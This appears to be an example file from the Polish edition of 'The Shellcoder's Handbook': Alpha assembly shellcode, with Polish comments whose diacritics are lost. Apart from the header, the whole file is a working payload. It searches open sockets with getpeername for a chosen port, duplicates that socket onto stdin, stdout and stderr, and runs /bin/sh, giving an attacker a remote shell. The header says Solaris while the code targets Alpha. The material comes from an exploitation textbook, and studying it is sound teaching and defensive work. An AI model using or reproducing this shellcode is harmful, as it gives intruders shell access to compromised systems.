/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Rozdzia 12
Zaawansowane metody wama w systemie Solaris
Przykad 9

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/

#include <alpha/regdef.h>
#include <alpha/pal.h>
     .text
     .arch     generic
     .align 4
     .globl  main
     .ent      main
main:
     .frame  $sp, 0, $26
                                 #xorloop przekae nam pc w rejestrze a0,

     bic  sp, 0xf, sp               #gwarantuje, e stos jest wyrwnany do granicy 16 byte bajtw.
     addq a0, 0xa0, s4         #adres acucha //bin/sh
     stq  s4, (sp)                  #odkada adres acucha  //bin/sh
     stq  zero, 8(sp)
     mov  0x10, t0
     stq  t0, 16(sp)                #sizeof(struct sockaddr_in)
     lda  s2, 16(sp)                #adres wartoci sizeof(struct sockaddr_in)
     lda  s1, 24(sp)                #adres sockaddr_in
     bis  zero, zero, s0
     lda  s0, 0xff(zero)       #inicjuje licznik ptli getpeername.
     bis  zero, zero, s3       #zeruje s3
     mov  0x3412, s3           #port frugiej strony poczenia
     sll  s3, 0x30, s3
     srl  s3, 0x30, s3
     
getpeerloop:
     mov  s0, a0               #numer gniazda sieciowego.
     mov  s1, a1               #addres sockaddr_in
     mov  s2, a2               #adres wartoci sizeof(struct sockaddr_in)
             addq zero, 0x8d, v0       #wywoanie systemowe getpeername.
     PAL_callsys
     bne  v0, again
     ldl  t0, 24(sp)
     sll  t0, 0x20, t0
     srl  t0, 0x30, t0
     subq t0, s3, t0
     beq  t0, out          #sprawdza, czy istnieje odpowiedni port.
again:
     subq s0, 0x1, s0
     bge  s0, getpeerloop
out:

     mov 0x2, s2
duploop:     
     mov  s0, a0               #numer gniazda sieciowego
     mov  s2, a1              #stdin, stdout, stderr
             addq zero, 0x5a, v0       #wywoanie systemowe dup2
     PAL_callsys
     subq s2, 0x1, s2          #zmniejsza licznik.
     bge  s2, duploop          #ptla dla 2,1,0 (stderr, stdout, stdin)
     
     mov  s4, a0               #adres acucha //bin/sh
     mov  sp, a1               #adres (adresu acucha //bin/sh)
     bis  zero, zero, a2       #NULL
             addq zero, 0x3b, v0       #wywoanie systemowe execve
     PAL_callsys

.long   0x00000000
.quad   0x68732f6e69622f2f
.long   0x00000000
     .end      main
